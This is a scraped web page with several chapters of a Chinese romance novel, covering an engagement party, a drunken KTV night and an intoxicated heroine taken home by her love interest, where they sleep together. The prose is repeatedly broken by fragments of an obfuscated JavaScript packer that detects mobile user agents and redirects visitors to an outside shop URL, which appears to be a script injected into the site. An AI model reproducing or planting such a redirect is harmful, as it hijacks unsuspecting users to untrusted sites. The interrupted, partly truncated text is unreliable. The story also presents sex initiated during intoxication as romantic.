虽然知道是自欺欺人,但这句话也给了她很多力量,支撑她度过最难熬的日子。 活泼的电子音效在办公室回响。余夏半天才消化了她的话,抬头看了她一眼:“哦,那应该不是我吧,因为我不是季城人。” “……哦。” “不过,我小时候常来季城玩啊,那个少年宫我也去过。” 闻言,景音微怔。 她正想继续问话,办公室的门开了。 许晏霖进了门。看见景音来上班了,她脸色不太好看。 景音同样地泛起一阵别扭。 起初,她只当许晏霖是裴涟认识的某个好友,并没有对她来这上班的动机产生过什么怀疑。 直到裴涟有次主动问起。 那次,她差点误会许晏霖是裴涟的初恋女友。解释清楚后,她越来越想不明白,裴涟为什么要让她留意许晏霖。 景音也是昨晚才确定,许晏霖喜欢裴涟。 她看他的眼神太炽热了。 景音不知道昨晚发生了什么。但她走之后,裴涟的车很快追了上来,所以她只能推测,许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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从上次去医院后,两人的联系明显变少。景音忙,裴涟似乎也很忙。 又度过了一个周末,季城再次下了场雪。 景音坐在办公室,看着窗外的雪景。手机停在她和裴涟的聊天界面,上次对话,是三天前。 她敲对方,想在免费开放前给剧场的墙壁重新刷一下漆,旧的墙皮长期在潮气浸染下,已经有些脱落。 「L:可以。」 景音已经盯着这两个字看了三天。她想不出新的由头和对方开启对话了。 若说之前的故作冷漠是惩罚,她心里早已渐渐消了气。 她正看着手机,就接到了一条新消息。 不过,是来自方小芸的。 方小芸发来一个相册app的分享链接。景音一惊,因为,这是个订婚请柬。 上面的大字明晃晃写着:方小芸&胡天逸。 景音手速飞快,立刻回复她:「你订婚了?」 「嗯。今晚订婚宴一定要来哦。」 她立刻保证自己绝对会到。 景音有些感慨,她的朋友很少,朋友圈也时常刷到同学结婚的状态,甚至有些同学都生了娃。 但方小芸,在她心里总归是不一样的。 她思考着,晚上来不来得及准备礼物。 手机又冒出了新消息。 L:今晚方小芸订婚。 L:你去吗。 景音轻眨了眨双眼,回复:「嗯。」 她的心情,像窗外飞扬的雪花般,一点一点上升。 手机很快又响起。 L:好。 L:下班别走,我带你去。 40. 订婚宴 下了班,景音故作无事地收拾好东西,去往行政楼下。 从她和裴涟一起出差那时起,馆里就有了关于她和裴涟是一对儿的传言。 也许是因为这段时间她真的和裴涟发生了点什么,她不得不承认,当初邓昌安刺激她的那些话生效了。 而她又在出差时发了住豪华酒店的朋友圈,某天午饭时谢薇告诉她,她们部门聊天有人提起过“什么时候我也能公款吃喝啊。” “不过那是个实习生,她不懂你们到底干嘛去了。小宋都跟我说了,报销项目里没有多余的支出,我都帮你当场怼回去啦。” 谢薇冲她挤挤眼。 小宋是谢薇的室友,财务部的员工。 可景音的心态更乱作一团。 “连实习生都知道了……”她直叹气。 早知道,当时就该删掉那两条朋友圈。 可真当她打开自己的朋友圈,又无法狠心点删除。不止这两条,下面那些仅自己可见的状态,她也保留完好。 她不知道这算是恋旧,还是其他的什么心理。 景音踩过积起的新雪,轻手轻脚地走到行政楼前的停车场。 她一眼看到了裴涟的车。 他的车已经发动,正在原地轰鸣着等待。景音看了眼四周,故作自然地上前拉开车门,裴涟正坐在里面。 车里开着暖气,和外面飘雪的天气像是两个世界。景音坐上副驾驶,香水气味很浓,花香和热气混在一起让她有些晕。 “不知道的,还以为你车上住了个女人呢。”她试图开玩笑。 然而裴涟只是漠然看着她关上了车门。 许久没见裴涟,不知道是不是她的错觉,她感觉他仿佛瘦了点。 景音不自觉地紧张,准备好的其他聊天的话被吞回了嘴里。 两人就这么静坐着。过了十来秒,裴涟淡声开口:“系上安全带。” “……哦。” 景音忙拽过身后的带子。 系好后,他立刻发了车。 现在时间还早,景音礼貌地请求裴涟先把车开到一家商场。 听见她疏远的措辞,裴涟的脸色比刚才更沉了。 两人在商场买了点伴手礼。他一直很沉默,偶有必要回答的话,一律用“哦”、“嗯”代替。 搞得景音也有点压抑。 若是他还在反省自己那天的行为,那这反省的时间,也太久了点。 方小芸的订婚宴选在了季城最豪华的酒店。裴涟将车停在停车场,两人一起进了酒店大门。 门口的提醒牌上,显示方小芸与胡天逸的订婚宴在一楼左厅。 他们被服务生带去宴会厅,两人并肩进了门。 如果不知道方小芸今天订婚,景音一定会以为,这里在举办什么晚宴。 宴会厅铺着地毯,直通向正中央的舞台。舞台上的铭牌写着方小芸和胡天逸的名字,两边是两道布满鲜花的旋转楼梯。 一楼摆了几桌圆桌,宾客大都来齐了。 景音和裴涟进来后,有些人朝门口的方向看了过来。 景音认出了她上大学时的舍友。 她刚要向舍友那桌走去,忽然被裴涟牵住了手。 景音:“?” 裴涟往那边瞧了一眼:“我们不坐在一起吗。” 景音大脑有些短路。 大庭广众之下,就这么跟他牵上了手。 这家伙,刚才不是还一副冷冰冰、不愿搭理她的样子吗? 她轻咳了两声,看了眼大学同学那桌,只剩一个空位了。 “嗯……不用吧。”她回答。 她只是顺路搭裴涟的车一起来,两人又不是男女朋友,坐在一起的话,总觉得有点奇怪。 这时候,另一桌有个男生站起来冲他们挥手:“涟哥,这边!” “你朋友叫你,你快过去吧。”景音抽出手,面上有些热。 裴涟凉凉朝喊他的人那边看了一眼,才提醒景音:“那你走的时候等我。” “嗯。” 两人分开,各自去了各自的座位。 大学时,学校是四人一个宿舍,除了她和方小芸,还有两个舍友叫王昱白和戎莉莉。 她们四人只有景音是动保专业,另外三人都是传媒系的学生。 景音去到那唯一的空位上,问了声:“这里有人吗?” 旁边的王昱白立刻招呼她。 “快坐吧,你来了啊?刚才还在和莉莉讨论你会不会来呢。” 景音冲她和旁边的戎莉莉打招呼:“好久不见。” 戎莉莉淡淡点了点头。 这桌都是传媒系的学生。还有几个眼熟的面孔,是景音大学时参加新闻社见过的。 她只在那新闻社待了一年,所以,和这些人也并没有很熟。 有几人跟她打了招呼,随后,就各自和朋友聊起了天。 王昱白热络地帮她把包挂到椅背上,开口就问:“你终于和追你的那个帅哥在一起啦?” 景音:“……” 不知为什么,她感觉这桌人的声音都小了很多。 “没在一起。”景音稳定住面色,“就是下班顺路,一起过来了。” “没在一起,他刚才还牵你手呢。”王昱白小声笑了下。 景音觉得解释不清楚,索性也回以笑容,想略过这个话题。 只因为。 她大一时调戏裴涟,拒绝他还亲了他脖子那次,这桌的大部分人都在场…… 虽然那时的她有心理缺陷,但是在场的人不知道。 她都不敢想象那件事发生过后,自己在他们心中,是一个什么样的形象。 景音突然后悔,刚才应该跟裴涟去另一张桌子的。 还好,尴尬的等待环节很快结束。宴会厅里的灯全部熄灭,只剩中央的舞台还亮着。 两束光照向了旋转楼梯。 方小芸穿了一件粉色纱裙从楼梯上缓缓走下来,另一道楼梯上下来了景音只在照片里见过的胡天逸。 两人走到舞台中间,交换了订婚戒指,然后在大家的鼓掌声中相拥亲吻。 毕竟只是订婚仪式,流程不长。很快宴会厅又恢复了光亮,开始上菜了。 有了食物转移注意力,景音感觉比方才适应的多。 饭吃到一半,方小芸带着胡天逸来敬酒。 景音同她碰杯,小声说了句:“祝福你。” 她不知道方小芸选择闪婚的理由。两人才恢复联系没多久,这么多年的空白,她觉得自己在方小芸那里属实算不上多么亲密的朋友。 方小芸向大家举杯致谢,一口闷了酒杯,然后豪爽地开了口:“吃完别走,大家这么久没见了,等下一起去唱歌啊,我请客!” 众人高呼芸姐万岁。 她又悄声附到景音耳边:“你也去啊。” “……” 等他们走了,景音才拿出手机,给裴涟发消息:「你吃完就走吧,不用等我了,方小芸还要请我们唱歌。今天她订婚,我不好拒绝。」 L:「嗯。」 见他这么听话,景音松了口气。 宴会结束,方小芸果然来找他们了。她已经换上了常服,一手拉着景音,一手拉着王昱白,浩浩荡荡地带着一帮人转移了阵地。 一帮人,去附近的KTV包了一个超大的包间。 景音和两个舍友坐在一起。方小芸唱了几首歌开场,大家热起来后,就来找她们了。 王昱白正跟景音闲聊:“你那个视频都火到我朋友圈啦,真没想到你的职业这么有意思啊!” 她说的,是元旦时景音被假珍珠噎到的视频。 景音有点羞赧,但仍不忘打广告。 “过年有空的时候,带家里人一起来玩呀。” “一定一定!” 不知是不是错觉,景音总觉得旁边的戎莉莉脸色不佳。 方小芸拿来两瓶啤酒,往景音手里塞了一瓶:“喝!” 景音现在看见这玩意就有点发怵。但既然是方小芸的邀请,她还是喝了一口。 旁边传来一道疑惑的女声:“……你不是酒精过敏吗?” 景音愣了会儿,才确定戎莉莉说的是自己。 “我不过敏。”她语气和善。 “可是,我记得以前,你跟子骞学长说你酒精过敏。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997672|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她向某个方向抬了抬下巴,景音朝那边看去,恰好看见一个男人转移了眼神。 景音想了半天,也没想起有这么一回事。 方小芸拍拍她,伸头跟那边的戎莉莉说:“那是她在花式拒桃花呢。” 戎莉莉发出一声轻笑:“哦。” 这动静,好像给方小芸淋上了什么催化剂: “咋啦,你还嫉妒刘子骞喜欢她呢。” 她声音不大,语气也很平,景音觉得她只用了两成阴阳怪气的功力。 戎莉莉毫不掩饰地翻了一个白眼。 “呵呵,白眼狼就是这样。”方小芸温温柔柔地看着她,“以前就光弄坏人家景音东西,亏得她还以为你穷,偷偷往你包里塞钱。” 这句话信息量很大。 景音想起以前上大学的某段时间,她的东西确实经常坏,有时候是沐浴液的泵头没了,有时候是被人撕去两页重点笔记。 都是些小事情,却很干扰心情。 “是你做的?”她不可置信地看向戎莉莉。 她知道戎莉莉申请过学校的贫困补助,以为她生活困难,有一阵每周都往她包里塞钱。 后来她发现戎莉莉买了个名牌手机,家里的情况也并非那么不堪,就没再做过这种事了。 她想起,大一时方小芸为她买的那个生日蛋糕,也是戎莉莉“不小心”撞倒的。 戎莉莉面色阴晴不定。 “对,是我做的。”她微瞪着景音,“我就是不喜欢你故作清高的样子,和谁说话都很装。” 说完这句话,她就拎起自己的包,干脆地站起来出了门。 方小芸气得想追出去,被景音拉住了。 “算了。”她尴尬地笑笑。 “早看她不顺眼了。”方小芸哼了声,“白,你叫她来的吗?” 王昱白也没想到以前还发生过这么多事,不好意思地挠挠头:“……嗯。” “没事。”景音干脆承认,“我以前是挺装逼的……” 毕竟,这帮同学也不知道她有心理缺陷。 跳过这个话题,三人又扯了点别的,逐渐地扯到了婚姻上去。 方小芸很迷茫,觉得自己永远不会和男朋友结婚,家里催得急了,就找一个合适的先订下来。 王昱白和她持相同意见,结婚找合适的人就够了,她和她老公就是那样。 景音这才知道王昱白结婚了。 王昱白笑着拍拍她:“我们把希望寄在你身上了,那个帅哥追了你那么久,这是真爱啊。” “……我不一定能结婚的。” 景音有些难堪。 “还嘴硬呢,哈哈。”王昱白笑她,“我看你们都牵手了,到底啥情况啊,给人家一个机会呗?” 方小芸喝了口酒,差点喷出来:“牵手了?” 屋里不少人看了过来。 景音觉得脸热:“不是你想象的那样。” “哎,说起来,你为啥光拒绝人家啊?叫什么来着,裴涟?”王昱白砸吧着嘴,“又帅又有钱的,好像还是隔壁理工大的校草吧?这么多年过去了,我还能想起他的名字,足以证明他的含金量……” 方小芸先替她回答了:“她傻逼。” 景音:“……” 她脑海里浮现了裴涟的模样。 淡冷疏远的、拒人千里之外的。 还有,骗她会送她回家却用烈酒迷倒她,对她毫不压抑欲求的样子。 她慢慢地回答:“……他这人,表里不一。” “哦?”王昱白一副看好戏的模样,“难道他私下其实是个很糟糕、很虚伪的人?” “……那倒也没有。” “那你还是不打算答应他喽?” 景音本身自己也没想清楚这个问题,眼下被王昱白越问越乱。 她把手挥出残影:“哎呀,今天大好的日子,别问这种问题,聊点别的!” 王昱白哈哈直笑,略过了这个话题。 很快,景音身旁的两人拿到了麦克风,跑去唱歌了。景音独自喝着闷酒,开始认真思考起她和裴涟的关系。 还没等她想出个结果,旁边坐来了一个男人。 41. 发到朋友圈 景音已经有点微醺,但还是认出,这是刚才戎莉莉看向的那个男人。 她想起方小芸叫他赵子骞。 眼下看到他俊朗的长相,她才在心里把人和姓名对上等号,随即想起来,大学的时候是和这个人说过话,还不止一次。 他声音很温柔:“景音,还记得我吗?” 其实景音是不记得的。但现在知道了他的名字,再说不记得就不太礼貌。 “记得的。”她浅浅笑了笑。 赵子骞好像很高兴。 他腼腆坐在旁边,搓了搓手。过了会儿,才鼓起勇气般对她说:“要不咱俩加个好友吧,这么多年了,还没你的联系方式呢。” “啊。” 景音还在走神想裴涟的事,没怎么思索:“可以。” 对方拿出手机让她扫码。很快,好友通过了。 赵子骞看了看景音仅有两条状态的朋友圈,有点惊讶的口吻:“你朋友圈,怎么没你男朋友呢。” “我没有男朋友。” 从他的眼神中,景音看出了犹疑不决。想必他也看到了裴涟牵她的手的那一幕。 ……难道,裴涟突然反常地牵她的手,目的就是为了给在场的某些人看? 可又他不像能做出这种事的人。 这句话好像让赵子骞鼓起了点勇气:“那我明天晚上能请你吃个饭吗?” “嗯?” “就是,这么久没见了。”他挠了挠后脑勺,“想请你吃饭,大家重新熟悉一下,毕竟大学的时候追你那么久,也没跟你好好认识过。” 赵子骞的表情有些紧张。景音顿了两秒,才回答他:“我可能没时间,抱歉。” 听她这么说,赵子骞反而松了口气。 “你还是和以前一样。”他淡笑了笑,“拒绝人的时候,连眼睛都不眨的。” 景音报以礼貌的笑,却不知道该如何接话。 赵子骞仔细瞧着她:“不过,喜欢你这么多年,我还是第一次见你笑呢。没想到你笑起来这么好看。” “……谢谢。” 赵子骞意兴阑珊,坐在她身边,走也不是,留也不是。方小芸很快发现了这边的情况,绕过桌子到了他们面前,把话筒往赵子骞手里一塞。 “骞哥,大家都等着听你唱歌呢,坐这干啥?” 赵子骞被迫接过话筒,却摆手拒绝。 “刚才唱得我嗓子都哑了,你让我休息会儿呗。” “不行,歌神可不能歇着。” “哎,要不景音唱吧。”赵子骞突然把麦克风塞到景音手里,“好像还没听过你唱歌呢。” 景音拿着麦克风发愣。 方小芸像发现了什么新大陆,瞬间冲景音撒起了娇:“宝,我要听你唱~” 景音:“……那好吧。” 周围人早已听见他们的闲聊,见这印象中冷冰冰的美女松了口,都鼓掌起哄起来。 景音有点不好意思,不过她的胆子早已在海洋馆锻炼出来了。 这还真是印象里她第一次在KTV唱歌。兴奋盖过了害羞,她冲话筒“喂”了一声。 大屏幕上出现的歌曲,是《私奔到月球》。 “换一个换一个!找一首独唱。”方小芸喊。 操控台那边有同学回答她:“哎呀,我特意顶上来的,给骞哥也拿个麦克风嘛!让我们听听俊男美女合唱。” 方小芸刚想继续反对,但看见景音跃跃欲试的眼神,话被吞回了嘴里。 她心思一转,松了口:“那就这首吧。” 很快,另一支麦克风被传到了赵子骞手上。 赵子骞唱歌很有技巧,毫不怯场。低沉的男音温柔又欢快,很快唱完了男声的部分。 轮到景音时,大家都屏住了呼吸,没想到她声音这么好听。 清丽婉转的女声轻唱着曲调,好像对麦克风的收音还不太熟悉。等声音稳下来之后,众人皆在心里惊叹。 音准也分毫不差,简直媲美原唱。 方小芸陶醉地听着,心里突然涌现出一个自豪的想法。 她的朋友,可是美人鱼。 人鱼唱歌,怎么会不好听? 方小芸举起手机,对着两人录了个十秒左右的视频。一曲结束,众人纷纷鼓掌。 方小芸凑到景音耳边:“这视频能发不?” 景音也觉得自己发挥得不错。 她看了眼方小芸的手机,视频里很黑,只有两个模糊的影子,于是点点头:“能啊。” 方小芸狡黠一笑,把视频发到了朋友圈。 众人起哄着再来一首,赵子骞看了眼时间,摇了摇头。 “不唱了,我该回家了。” “骞哥,这么早就回家陪老婆孩子啊?” 赵子骞瞟了一眼景音,眼里的慌促一闪而过。 “哈哈。”他模糊言辞,“我先走了啊,大家有空再聚。” 门口几个人送走了他。 景音在座位上怔愣住。 她疑惑地问方小芸:“他都有孩子了?” “我也才知道。”方小芸瞪了眼门口。 景音忽觉一阵恶心,从手机上找到赵子骞的联系方式,一气呵成地拉黑。 方小芸同样拿出手机,恼火地把刚发出去的视频删掉了。 唱歌的心情也被败光。方小芸又拉着景音开始喝酒,控诉她对人生的迷茫。很快,两人就从微醺的状态变成,喝高了。 景音跟方小芸一再强调,要把自己送回公寓,不能留她在KTV自生自灭。 方小芸说放心,既然耗子药能送走耗子,愚公一定也能用山药送走山。 于是她们又从喝高了的状态变为烂醉。 最后,王昱白搀着景音,另一个学姐扶着方小芸出了包间。 在学姐的再三逼问之下,方小芸终于招了自己家的住址,然后昏死过去。 难题解决了一半。 景音尚有知觉,在王昱白的拖行下还能自己走两步。但是已经失去了语言能力,词汇量只剩下“嘿嘿”和“阿巴”。 这场大雪丝毫没有停下的迹象。一帮人出了KTV的大门,看见天上簌簌飘下的雪花,心里都是同一个想法。 真美啊。 如果没有这两个烂醉的女人…… “我叫个代驾,开小芸的车回去。”学姐问王昱白,“你怎么办?” 王昱白也很愁:“我打个车……” 话音未落,门口突兀停着的一辆暗银色的车打开了车门。 这辆车看起来停了许久,车顶都覆盖了一层厚厚的积雪。下车的男人穿了件深色大衣,手中撑了把伞,颀长矜贵的身姿在明晃晃的雪景中格外惹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019955|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 他信步向众人走过来,停在了王昱白扶着的景音面前。 声音轻缓又低沉:“把她给我吧。” 众人都有点发愣。 王昱白最先反应过来:“哦,好。” 裴涟单手把景音抱了过来。 方才还神游天地的景音好像恢复了点意识,至少,她闻出了自己被抱在一个熟悉的怀抱里。 “嘿嘿……”景音笑出了声。 裴涟皱了眉头,似乎不满她喝了这么多。刚要拖着她回车上,景音突然把他环住了。 “涟涟小宝贝儿,你来啦……” 裴涟神色如常,回答她:“嗯。” 景音仍不松手,裴涟只好拖着这个腰部挂件继续往前走。 “别走呀。”她的声音挂上了哭腔,呢呢喃喃地哼唧,“……你再抱抱我嘛。” 说完就要挣扎着去亲他的脸,奈何裴涟太高,她够不着。 一只手也不安分地伸进大衣,在他腰间挑逗地抚摸揉捏。 裴涟:“……” 后面观看的众人看不见景音的小动作,只能看见她踮着脚索吻。 “走走走!”王昱白催促大家,“回家了,各找各妈,拜拜!” 众人装作很忙的样子一哄而散。 近在咫尺却亲不到,景音有点着急。裴涟像打地鼠一样拍拍她的脑门,声音带着无可奈何:“我送你回去。” 这回景音好像听懂了,任他把自己抱到副驾驶,系上了安全带。 熟稔的味道像带着催眠效果,车子刚发动,景音就进入了沉睡。 从市中心开往市郊,一路下着雪。 大雪像是自带了隔音效果,车窗外极为安静。只有纷扬而下的,被路灯照成暖黄色的雪花伴着两人,一个沉睡且无知,一个清醒却心乱。 到了公寓楼下,景音已经叫不醒了。 裴涟轻叹了口气,想先从她身上找到钥匙。 在包里寻找未果后,他又一连摸了景音所有的衣服口袋,都没发现钥匙的踪影。 裴涟轻轻拍了拍景音的肩:“醒醒,你钥匙呢?” 景音还真抬了抬眼皮看他。 景音:“woyebuzhidkkwia……” 裴涟:“……” 人事部办公室,有公寓的所有备用钥匙,海洋馆晚上有保安值班,可以给他开门。 或者,把景音放在和她要好的人事部同事那里,裴涟记得那姑娘也住在公寓,上回在这里的电梯遇到时,好像是第6层。 但是景音喝了这么多,会给人家带来麻烦。 保安那边也是一样,突然去要钥匙,显得…… 显得什么,裴涟找不出理由。 他坐回了驾驶位,将车开回了自己家。 景音又睡着了。裴涟将她整个人抱回温暖的卧室,轻轻放在床上,脱去外套和鞋子。 他自己,则去冲了个澡。出来后,又去厨房泡了杯蜂蜜水送上楼。 景音已经在被子里换了个姿势,睡得很香。 “醒醒。”裴涟轻拍着她,“解解酒再睡,不然明天会头疼。” 倒是一叫就醒。 景音眼神发直,但还是认出了眼前的环境。 “裴涟……?” 吐字带着醉后的连音,腻腻歪歪的。 42. 酒壮怂人胆 裴涟把她扶起来,递给她蜂蜜水。 景音正好口渴的厉害,乖乖把一整杯蜂蜜水都喝光了。 “我还想喝。”她舔舔发干的嘴唇。 这一觉让她恢复了些意识,至少不像之前那样说胡话。 “我再给你泡一杯。”裴涟允诺着,“要不要起来洗漱?” 景音懵懂地点点头。 “我买了新的洗漱用品,在旁边卫生间,等我回来扶你去。”裴涟耐心对她讲,“我再下楼给你泡一杯蜂蜜水。” “好。” 说完,裴涟就松开她,独自出了卧室。 他低估了景音的行动力。 他走后,景音独自下了床,踉跄着进了隔壁的卫生间。 站起来后,恶心的感觉越来越强烈。大脑一阵阵地发晕,天地无限旋转。她及时找到了马桶,吐了个干净。 吐完了,胃里清明了一些。她难堪地冲干净厕所,又到洗漱台漱口。 虚弱感充斥全身,景音懊悔的同时,狐疑她怎么又出现在裴涟的家里。思来想去,得出结论:肯定是被方小芸这个丫头给卖了。 虽然没了刚才那股恶心劲儿,但头还是很晕。她双手撑在洗手台上,打开一支新牙刷,抖着手向上挤牙膏。 镜中倒映出另一个人影,景音抬头,看见裴涟站在门口。 他手里端着杯子,一脸担忧地看着她。 景音露出一个笑容,跟他打招呼:“哈喽。” 裴涟:“……” 裴涟没进来,在门口看着她迷迷糊糊刷完了牙,然后开始在洗手台上寻找着什么。 “裴涟。”她嘟囔着,“你家怎么没有卸妆油?” 裴涟从镜柜里拿出一瓶崭新的卸妆油,和景音平时用的牌子一样。 景音顿时露出十分欣赏的表情,像是在称赞他很有眼光。 得益于在景音的公寓留宿过一次,裴涟不知出于什么心理,从上次景音来过之后,就买齐了所有她的日用品。 不止卸妆油,还有面霜、洗面奶、精华……甚至还有身体乳。 趁她低头洗脸时,裴涟把柜子里的护肤品也放到了洗手台上。 景音再抬起头时,脸蛋干净地像个剥了壳的鸡蛋。她惊讶地发现,台子上竟还刷新出了她自用的一套护肤品。 她疑惑地回头看了裴涟一眼,然后问:“我用用行吗?” “可以。” 一顿忙活后,她终于觉得脸蛋清爽了,支撑着站了一会,还是觉得不对劲。 “我想洗澡。”她说。 “我给你拿睡衣。” “你给我洗。” “……” 即便醉得眼神发直,景音还是发现裴涟的耳朵变红了。 “怎么了?”她问,“上次不是给我洗过一次吗。” “……自己洗。” “可是,你洗的舒服。”她脸颊也攀上粉云,“站在那不用动,一会儿就洗完了。” …… 裴涟听懂了。 原来她是在犯懒。 他反对:“不行。” 景音瞬间露出委委屈屈的表情,好像裴涟拒绝了她一个很久的心愿。 “你是不是,嫌弃我一身的酒味。” 裴涟盯着她撑着洗漱台的手,确定她处于一种半醉不醉的状态之间。虽然有意识,但是行事毫无逻辑,而且不太能站得稳。 放任她自己冲澡的话,她两条腿像烂泥,肯定会摔跤。 泡浴缸,又怕她一个不慎把自己淹死。 反正,该不该看的,他都看过了。 裴涟轻叹了声,点了点头:“我去给你拿套睡衣。” 刚转回身,他想起手里还拿着蜂蜜水。 “你先把这杯喝了。”他又回过了头。 这下,意外捕捉到景音偷偷翘起的嘴角。 还有,离开了洗漱台,仍能独自站立的双腿。 景音:“……” 裴涟:“你……是不是已经清醒了。” 景音接过他手里的杯子,轻哼了声。 “你已经答应我了哦。”她边喝水边脸红。 裴涟耐心等她喝完,接过杯子,一言不发地出去。 过了会儿,给她拿来一套干净的睡衣。 顺便平平淡淡撂下句“既然醒了,就自己洗”,然后头也不回地走了。 景音忿忿钻进淋浴间。 她是清醒了一半,但并不妨碍她借着醉意做点平时不敢做的事。 这段时间,她一直在说服自己接受张桐的意见,努力克服逃避的心理。但仅靠自己,她发现这件事没那么容易做到。 现在,酒壮怂人胆,心理那股让她避之不及的逃离感反而消散。 景音洗完澡,换上裴涟拿来的睡衣。睡衣很新,带着清洗后衣物护理剂的干净香气。 她并没有多余空档去思考为什么裴涟家有女士睡衣。 酒精让她思维发直,眼下,她只想做一件事。 听见卫生间传来重物坠地的声音时,裴涟正在收拾客房。他两步从卧室赶到卫生间,看见景音正坐在地上。 裴涟一愣,忙弯腰去扶她。 景音皱着脸,苦着声音嘟囔:“好疼。” “……”裴涟沉默两秒,“对不起。” “怎么了?” 他的长睫盖住眼底懊悔的神色:“我还以为你能站稳,就没管你。” 景音压住心底的心虚,其实她是故意摔倒的。 她没说话,扶着他的胳膊,半天站不起来。 裴涟身上很香,浴后清新的味道混合着和她相同的衣物香气。她绯着脸色,嘴里的话没怎么经过思考:“我好像崴到脚了。” “……是吗?” 景音点头,直往他颈窝里凑。 裴涟将她打横抱了起来,往客房走。景音觉得他应该没有发现自己的小动作,不然自己的呼吸那么重,他若察觉,一定会有什么反应的。 她还没闻一会儿,裴涟就把她放在了床上。 景音看看四周:“怎么不是刚才那一间?” “那是我的房间。” “……我想睡那间。” “好。” 裴涟又把她抱回自己的卧室。 他把景音轻轻放在床上,开始检查她的脚腕。 冰凉的长指轻捏在她的脚踝,裴涟语气极轻柔地问她:“哪里疼。” “……好像是这里。” “那这里呢。” “嗯,也有点……” 裴涟站起身,清泠的目光从她的脚踝转移到她的脸上。 “我去拿点冰块。” 景音双眸低垂着,点了点头。 独自等待了会儿,裴涟回来了。他拿着一袋装满冰块的保鲜袋,外面包了一层毛巾。 裴涟轻轻把这自制的简陋冰袋贴在景音脚踝处,神色一如既往地淡漠,眉头却比平时紧了些。 “应该差不多了。”他拿开冰袋,“再敷下去会冻到骨头。” 景音也点点头:“嗯。” 裴涟又帮她掖紧了被子,才关掉床头灯。 “睡吧,有事叫我,我就在隔壁。” “你去哪?”景音微瞪着眼。 他低头,柔着眼神看向她:“客房。” 见他转身要走,景音及时拉住了他的袖子。 “裴涟。”她壮起胆子,“你上次带我来的时候,不是说,我想对你做什么都行吗?” 他的背影停了下来。 “今天不行。”他回答。 “为什么?” “因为,我分不清,你是真情实感,还是酒后乱性。” 景音沉默。 裴涟慢慢拉开她的手指,仍旧要走。 “那如果,你我只有这一次机会呢。” 脚步声停下了。 “如果明天醒来,我又恢复了上次的想法,你会后悔今晚的离开吗?” 走廊投进来的光让她只能看清裴涟的轮廓。暖调的光让他生出了一圈亮边,他好像即将投入门外的光明,将身后所有暗色关在屋中。 “趁虚而入,很卑鄙。” 他侧过头,浅眸反射着点点光亮。 “如果变得卑鄙才能得到你……我不想做一个高尚的人。” 景音微愣。 仅靠自己,她逃不出没顶恐惧的黑暗。那感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……” 景音真的要疯了。 他好像把所有的躁与欲都用在了今晚。 景音觉得自己在昏聩的边缘,身体的疲累和愉悦交叉折磨着神经,她开始担忧自己能不能看见明天的太阳。 等结束后,她的酒也彻底醒了。 身体被清洗干净,景音被裴涟抱去了客房。他自己,则留在卧室更换床单。 又过了会儿,景音被他抱回了卧室。 床单和被子整洁又干爽,和方才湿腻凉滑的触感大不相同。 景音发现,紧闭的窗帘竟透出微微的亮光。 “裴涟……”她斥责的声音因虚弱而显得微小,“你他妈不是人。” 裴涟轻拍她的肩膀:“累了就睡会儿。” 他声音像命令一样,景音听见了,立刻闭上双眼。 再次睁眼时,裴涟仍坐在她旁边,腿上放了个轻薄的笔记本电脑。 光线映照出他清冷漂亮的五官。双唇红润,喉结微凸起,脖上的咬痕显示出了昨晚这具身躯曾发生的事情。 景音微红了脸。 发觉她醒来,裴涟琥珀色的双眼轻移向她的脸,轻扬了下嘴角:“早。” 景音这才发现了一件惊人的事。 “几点了?”她问。 他看回笔记本的荧屏,告诉她:“五点。” “早上……还是下午。” 他像是觉得好笑。 “当然是下午。” 景音捂住脸,唉声叹气。从前她一次假也没请过,现在不仅破了例,还在一个月内请了两次。 还都是裴涟给她请的。 ……真不知道谢薇那丫头会怎么想。 “不过,我没给你请假,我也醒得很晚。”裴涟神色似有些担忧,“所以你今天,应该算是,旷工?” “……” 景音崩溃了两秒。 这算什么,男色误事? “我得跟晏霖和余夏道个歉。”她摸索着枕边的手机,“今天又麻烦他们了。” 她打开社交软件,看见谢薇发来的消息,问她裴总怎么又给她请假了,是不是身体不舒服。 景音才反应过来,裴涟居然在逗她。 景音:“你骗我!” “先不说这个。”裴涟好整以暇递给她自己的手机,“看,你会感兴趣的。” 43. 不讨厌 裴涟把手机递到她眼前。 屏幕上是短视频应用的界面。 金色海面上,面容明丽的少女浮出水面,怀里抱着穿黄衣的小孩,递交给岸上的一双手。 海浪褪去,她的下身赫然是条鱼尾。 视频由一个陌生账号发出,右下角的点赞数,已经超过百万。 景音认出这是自己在南海市那段救人的经历。从视频的视角来看,应该是曹子琳拍的。 她暗觉奇妙,当时自己还让曹子琳删了这段视频,没想到她不仅保存下来还发到了网上,获得这么多关注。 “打开你的账号看看。”裴涟提醒她。 景音打开了软件,惊讶地发现自己的粉丝数已经达到了五万多。 “这都能找到我,好厉害。”景音自言自语。 “元旦时用你的账号直播过,有人认出来,把你的账号评论在下面了。” 